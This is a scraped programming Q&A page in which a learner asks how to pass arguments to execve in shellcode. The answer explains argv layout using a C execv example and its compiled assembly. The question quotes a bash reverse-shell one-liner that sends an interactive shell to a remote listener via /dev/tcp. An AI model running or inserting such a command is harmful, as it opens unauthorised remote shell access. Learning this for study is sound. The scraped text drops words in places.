assembly - pass arguments to execve program in shellcode -


i'm having go @ learning assembly , writing shellcode. have question execve , passing arguments program execute.

i have working code execute bash shell unsure of input format of execve pass additional arguments it. can stdin stdout redirects too? wanted create reverse tcp connection type of command line:

 /bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1 

should arguments separated null's? got execute shell didn't connect listening nc.

i know unusual way of doing wanted try different :-)

cheers

the best way know how compile example , stop @ assembly level. lets take example:

#include <unistd.h>  int main () {   char *program = "/bin/ls";   char *args[3] = {"/bin/ls", "-l", "./"};    execv(program, args);    return 0; } 

when compiled gcc -wall -wextra -s -o myexec.s myexec.c can read in myexec.s:

        .file   "myexec.c"         .section        .rodata .lc0:         .string "/bin/ls" .lc1:         .string "-l" .lc2:         .string "./"         .text         .globl  main         .type   main, @function main: .lfb0:         pushq   %rbp         movq    %rsp, %rbp         subq    $32, %rsp         movq    $.lc0, -8(%rbp)         movq    $.lc0, -32(%rbp)         movq    $.lc1, -24(%rbp)         movq    $.lc2, -16(%rbp)         leaq    -32(%rbp), %rdx         movq    -8(%rbp), %rax         movq    %rdx, %rsi         movq    %rax, %rdi         call    execv         movl    $0, %eax         leave         ret 

so, list of arguments of command line composed of list of strings and, first argument path executable file (-8(rbp)), each argument passed through pointer string: argv[0] = -16(%rbp), argv[1] = -24(%rbp), argv[2] = -32(%rbp), ... , on.

so, have have addresses of each string , stack (in proper order) onto stack before calling execv.


Comments

Popular posts from this blog

node.js - Bad Request - node js ajax post -

Why does Ruby on Rails generate add a blank line to the end of a file? -

keyboard - Smiles and long press feature in Android -